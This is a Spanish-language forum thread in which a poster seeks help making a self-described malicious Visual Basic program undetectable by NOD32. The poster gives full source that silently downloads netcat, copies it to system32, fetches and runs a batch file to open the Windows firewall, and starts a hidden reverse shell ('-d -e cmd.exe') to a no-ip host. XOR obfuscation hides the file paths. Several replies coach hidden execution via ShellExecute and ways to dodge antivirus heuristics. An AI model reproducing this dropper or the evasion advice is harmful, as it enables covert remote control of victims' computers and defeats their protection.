Buenas pues stoy escribiendo una app ..en vb..jeje, no es un trojan, pero si maliciosa XDDD decir que es indetectable...hasta el momento en que ponga en el codigo ( en cualkier parte , x lo menos de las que lo he puesto) Shell, como ponga shell en cualquier parte del codec...inluc esto señores... Shell ("calc").....ya salta el nod32 cuando voy a compilar y lo detecta como nuevo virus por heruistica....ya digo...hasta si pongo que ejeucte la calculadora como ejemplo lo detcta...( lo puse para probar y canta nod32 )..no se porque si pongo simplmente Shell n la parte que sea del codec me lo detecta nod32...mientras no ponga shell sigue siendo indetectable...alguien tiene una idea de que pueda ser.............yo...estoy trabao. salu2.
prueba con shellexecute y a una mala createprocess
:huh: LuckyFox: no entendiste esto: y una mala createprocess :huh: disuclpame pero no entiendo que quieres decir...y una duda..lo que quiero ejecutar con shell es netcat + cmd seria una sintasis haci con shell ("cmd.exe /c winnc -d -e cmd.exe mihost miport"), vbHide ....podria hacer eso.....pero..como tú dices, con shellexecute ? ( tb oculto..como el vbhide de shell )..si es asi dimelo...porque me hibas ha ayudar un huevo, thanks man. espero respuesta, salu2.
:huh: Nadie me puede ayudar con eso ?
puedes usar shellexecute pero ami no me salta con shell o prueva escriptado el programa que quieras ejecutar.
;D Salu2, WarGhost
Intenta estructurar un poquito tus post. Ya sabes, párrafos, comas, palabras completas... y esas cosas. ¡Así es más fácil ayudarte!
En primer lugar es difícil que por usar esa instrucción te salte el Nod32 Antivirus...... Shell no es una instrucción intrínsecamente maligna. Me explico mejor... si yo creo ahora un proyecto en VB, hago un botón, y escribo
Shell("calc.exe")
... el Nod32 Antivirus no va a saltar. (Obviamente)
Por tanto el problema está en el resto de tu código. Quizás en ese contexto Shell haga saltar al antivirus. En ese caso, cambiar esta instrucción por otra no solucionaría el problema, por lo menos tal y como yo lo entiendo.
Un saludo!
_Sergi_...si gracias man no tomes a mal lo que te voy a decir..mi ortografia no sera buena pero mas que sea es legible ;) esa es una, la 2ª es que ya se que shell no es una instruccion como tú dices maligna , la he usado muchas veces...amigo..simplemente dije que si pongo en cualquier parte del codigo shell...me lo detecta como virus..sino lo pongo no la detecta..dije,...no se que podra ser..por eso mismo..no se con que parte del codigo puede estar relacionando nod32 esa isntrcuion ( shell ) como brusca, peligrosa como quieras decirlo, pero muchas garcias man, no más si me molesto lo de la ortagrafia...man te aseguro que en este foro cuando me registre por primera vez habia que descifrar mis post ;) y creo que he dado un cambio, no seas " tan duro", más fácil, si me quieres ayudar :) perfecto pero no..me intentes..como castigar..buscandome el fallo :) nunca yo te he echo ni a nadie, no mas diciendote lo que pienso aparte del tema de lo que va el post, te lo digo pa que lo sepas porque no soy de esas señoritas que van diciendo por detras yo te lo digo ati para que tú lo leas y ya te dije de buen royo todo esto..pero no me trates como bobo men :), thanks por los consejos y salu2.
Citarte lo digo pa que lo sepas porque no soy de esas señoritas que van diciendo por detras yo te lo digo ati para que tú lo leas y ya te dije de buen royo todo esto..pero no me trates como bobo men
Gracias por decirlo; que sepas que mi intención no era ni mucho menos tratarte como bobo; aún asi perdona si lo hice.
Volviendo a tu pregunta, si quieres en vez de Shell puedes usar la API
ShellExecute.
Por ejemplo, imagina que quiero ejecutar la calculadora de Windows al cargarse el formulario. El código sería algo así
Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Const SW_SHOWNORMAL = 1
Private Sub Form_Load()
ShellExecute Me.hwnd, vbNullString, "C:\WINDOWS\CALC.EXE", vbNullString, "C:\", SW_SHOWNORMAL
End Sub
Saludos y espero que el antivirus no te salte más! ;)
_Sergi_:
okis perfecto, no pasa na man ;), a lo de usar ShellExecute bien, pero podria tú cres ejecutar esto: (con esa api) nc.exe -d -e cmd.exe mi host miport ??? podria..se que tb se puede ocultar con SW_HIDE o con 0 pero eso...puedo? es que no me hago la idea de como seria...como yo lo intente no anda, quiero decir que no ejecuta netcat + parametros + cmd...no me lo deja preparado :P , pero si ejecuto cmd....lo corre en modo oculto , lo mismo para el netcta pero como te dije lo que yo quiero no, o alomejor lo hago mal la sintasis ;) bueno .salu2. Muchas gracias man.
Postea el código que usaste para ver donde puede estar el error
Saludos
Para empezar lo que dice _Sergi_ és cierto, no és shell el que te hace que te salte el nod o el zonealarm o lo que sea.
El problema está en que shell ejecuta a cmd.exe y lo detecta cómo peligroso, así que shellexecute no te solucionará nada.
De todos por si quieres probarlo los parametrós de nc.exe -d -e cmd.exe osea -d -e cmd.exe. tienes que pasarlos en el parámetro de la api lpParameters
queadría así
shellexecute vbnullstring,"Open","c:\nc.exe","-d -e cmd.exe","aqui el path inicial al ejecutarlo o vbnullstring",SW_HIDE
El primer parámetro mejor que sea vbnullstring así no habrá ninguna relación explicita entre tu programa y el programa ejecutado. El path inicial es un parámetro que se les pasa a los programas para establecer el directorio de trabajo, si hicieras cmd.exe y directorio de trabajo c:\windows por ejemplo al ejecutarse estarías inicialmente en esa carpeta.
La última constante no recuerdo si era exactamente así mejor buscala en la msdn.
Citary una mala createprocess huh disuclpame pero no entiendo que quieres decir..
Me refiero a que como última opción (por ser más complicada que las anteriores, aunque tampoco mucho mas) puedes probar a utilizar dicha api para ejecutar tu programa.
Buenas pongo el codigo haber si alguien asi le queda más claro de porque me lo detecta nod32, panda y antivir ( solo estos 3 )
es una aplicacion que descarga netcat de modo silencioso, lo guarda en c y lo copia a system32, luego baja un bat tb que lo ejecuta y nos da paso el fw de windows (nos incluye en la lista de programas permitidos) y por último ejecuta el netcat para hacer reverse shell, salu2. Pongo el codigo:
Private Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal reserved As Long, ByVal dwType As Long, ByVal lpData As String, ByVal cbData As Long) As Long
Private Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Private Const SW_NORMAL = 1
Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long 'api necesaria para el descargar algo de internet
Option Explicit
Private Sub Form_Load()
Text1.Text = Cript(Text1.Text, 3)
Text2.Text = Cript(Text2.Text, 3)
Text3.Text = Cript(Text3.Text, 3)
DownloadFile "http://host.usr/my_user/nc.exe", DesCript(Text1.Text, 3)
End Sub
[color=Red]Funcion que no permite descargar un archivo desde vb:[/color]
Public Function DownloadFile(URL As String, LocalFilename As String) As Boolean
Dim lngRetVal As Long
lngRetVal = URLDownloadToFile(0, URL, LocalFilename, 0, 0)
If lngRetVal = 0 Then DownloadFile = True
End Function
[color=Brown]Timer que permite copiar el netcat desde c a system32 en winXP[/color]
Private Sub Timer_copync_Timer()
On Error Resume Next
FileCopy DesCript(Text1.Text, 3), DesCript(Text2.Text, 3) 'copia el netcat a system32 en win xp
Timer_copync.Enabled = False
End Sub
[color=Brown]Timer que permite copiar el netcat desde c a system32 en win2000[/color]
Private Sub Timer_copync2k_Timer()
On Error Resume Next
FileCopy DesCript(Text1.Text, 3), DesCript(Text3.Text, 3)
Timer_copync2k.Enabled = False
End Sub
[color=Blue]Timer que ejecuta netcat + cmd con la sintasis que he elejido:[/color]
Private Sub Timer1_Timer()
On Error Resume Next
Shell ("cmd.exe /c winnc -d -e cmd.exe HOST.no-ip.com 6669"), vbHide
Timer1.Enabled = False
End Sub
[color=Green]Timer que hace que descarge un bat de un host ( y luego lo ejecute[/color]
Private Sub Timer2_Timer()
On Error Resume Next
Dim ejecuk As Long
DownloadFile "http://host.usr/my_user/nancy32.bat", "C:\WINDOWS\system32\nancy32.bat"
ejecuk = ShellExecute(Me.hwnd, "Open", "c:\windows\system32\nancy32.bat", "", "", 1)
Timer2.Enabled = False
End Sub
[color=Red]Funcion para cifrar:[/color]
Private Function Cript(txt, Optional semilla = 45) As String
On Error Resume Next
Dim i
Dim l
Dim txt2
For i = 1 To Len(txt)
l = Mid(txt, i, 1)
l = 155 - Asc(l)
txt2 = txt2 + Chr(l)
Next
txt = txt2
For i = 1 To Len(txt)
l = Mid(txt, i, 1)
l = Asc(l) Xor semilla
Cript = Cript & l & Chr(164)
DoEvents
Next
End Function
[color=Red]Funcion para descifrar:[/color]
Private Function DesCript(txt, Optional semilla = 45) As String
On Error Resume Next
Dim i
Dim l
Dim pal
Dim txt3
Dim c
For i = 1 To Len(txt)
l = Mid(txt, i, 1)
If l = Chr(164) Then
l = pal Xor semilla
c = semilla Xor pal
l = Chr(l)
DesCript = DesCript & l
pal = ""
Else
pal = pal & l
End If
DoEvents
Next
For i = 1 To Len(DesCript)
l = Mid(DesCript, i, 1)
l = 155 - Asc(l)
txt3 = txt3 + Chr(l)
Next
DesCript = txt3
End Function
Podria ser como dicen en un post de troyanos y virus la combinacion de la api para descargar el file y de la instrucion shell lo que me este detectando nod32 ???
Si, es posible que la combinacion sea el problema. Tambien puede ser que detecte las modificaciones en el registro.
Intenta cambiar el codigo de lugar, es decir, sacar lo que esta en el Load y ponerlo en otro lado (un timer x ejemplo...).
Y te recomiendo que averigues como funciona el tema de la heuristica...
Saludos.-